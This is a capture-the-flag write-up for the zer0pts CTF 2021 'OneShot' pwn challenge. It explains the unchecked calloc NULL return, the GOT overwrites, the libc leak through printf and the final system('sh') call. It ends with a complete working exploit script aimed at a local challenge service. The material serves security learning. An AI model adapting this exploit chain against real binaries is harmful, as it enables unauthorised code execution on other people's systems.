# OneShot - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`

## Challenge Overview
The target program is very simple.

int main() {
  int *arr = NULL, n = 0, i = 0;

  printf("n = ");
  scanf("%d", &n);
  if (n >= 0x100)
    exit(1);

  arr = calloc(n, sizeof(int));
  printf("i = ");
  scanf("%d", &i);

  printf("arr[%d] = ", i);
  scanf("%d", &arr[i]);
  puts("Done!");

  return 0;
}

The vulnerability is obviously out-of-bound write at line 14.

## Solution
### GOT Overwrite
Basically, there's no use of overwriting data around the heap chunk allocated by `calloc`. So, we abuse the fact that the return value of `calloc` is not checked.
If we pass a negative value to `calloc`, it fails and returns NULL. However, this is not checked and eventually we can write to `NULL + i*4`. This is a very strong primitive because PIE and RELRO are disabled. Now we can overwrite GOT!

### Gaining Infinite Loop
4-byte-write is not enough. To get infinite AAW, we set `puts@got` to the address of the main function. `puts` is used only at the end of the main function and thus we get AAW in an infinite loop.

### Leak Libc
How to get the address of libc?
My solution is overwrite `calloc@got` to `printf@plt`, then set `n` to the address where we want to leak. `calloc(n)` works as `printf(n)` and we get AAR.
There are two problems however.

The first problem is that the program exits when `n` is larger than 0x100.
In the graph view, it looks like this:


In the assembly, it looks like this:


So, if we overwrite the GOT of `exit` and make it something meaningless, we can move to the path for `n <= 0xff`. This way we can bypass the check of `n`.

The second problem is that we can write 4-byte every time. When we try to overwrite the address of `calloc`, the upper or lower 4 bytes are corrupted and crashes on the next `calloc` call.
Be aware that we don't actually call `calloc`. So, we can skip it by setting `exit@got` to the address after the `calloc` call. I used `call rax` gadget in order to skip `calloc`, because it can align RSP to avoid crash on movaps.

After leaking the libc address, just overwrite `calloc` with the address of `system` and execute `/bin/sh`.

## Exploit

from ptrlib import *

elf = ELF("../distfiles/chall")

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("../distfiles/chall")
libc = ELF("../distfiles/libc.so.6")
sock = Socket("localhost", 9004)

addr_sh = elf.section('.bss') + 0x100
addr_main = elf.symbol('main')
addr_skip = 0x4007a8
rop_ret = 0x004005ce
rop_call_rax = 0x004005c8

"""
Step 1) Get stable write primitive
"""
# make infinite loop
sock.sendlineafter("n = ", "-1")
sock.sendlineafter("i = ", str(elf.got('puts') // 4))
sock.sendlineafter("= ", str(addr_main))

"""
Step 2) Leak libc address and prepare "sh"
"""
# skip exit and calloc
sock.sendlineafter("n = ", "-1")
sock.sendlineafter("i = ", str(elf.got('exit') // 4))
sock.sendlineafter("= ", str(rop_call_rax)) # align rsp

# overwrite calloc
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str(elf.got('calloc') // 4))
sock.sendlineafter("= ", str(elf.plt('printf')))
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str((elf.got('calloc') + 4) // 4))
sock.sendlineafter("= ", str(0))

# skip exit and call calloc
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str(elf.got('exit') // 4))
sock.sendlineafter("= ", str(rop_ret)) # skip exit

# leak libc address
sock.sendlineafter("n = ", str(elf.got('printf')))
libc_base = u64(sock.recv(6)) - libc.symbol("printf")
logger.info("libc = " + hex(libc_base))
sock.sendlineafter("i = ", str(addr_sh // 4))
sock.sendlineafter("= ", str(u32('sh\0\0')))

"""
Step 3) Call system("sh")
"""
# skip exit and calloc
sock.sendlineafter("n = ", str(elf.section('.bss') + 0x400)) # valid pointer
sock.sendlineafter("i = ", str(elf.got('exit') // 4))
sock.sendlineafter("= ", str(rop_call_rax)) # align rsp

# overwrite calloc
addr_system = libc_base + libc.symbol("system")
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str(elf.got('calloc') // 4))
sock.sendlineafter("= ", str(addr_system & 0xffffffff))
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str((elf.got('calloc') + 4) // 4))
sock.sendlineafter("= ", str(addr_system >> 32))

# skip exit and call calloc
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str(elf.got('exit') // 4))
sock.sendlineafter("= ", str(rop_ret)) # skip exit

# win!
sock.sendlineafter("n = ", str(addr_sh + 6))

sock.interactive()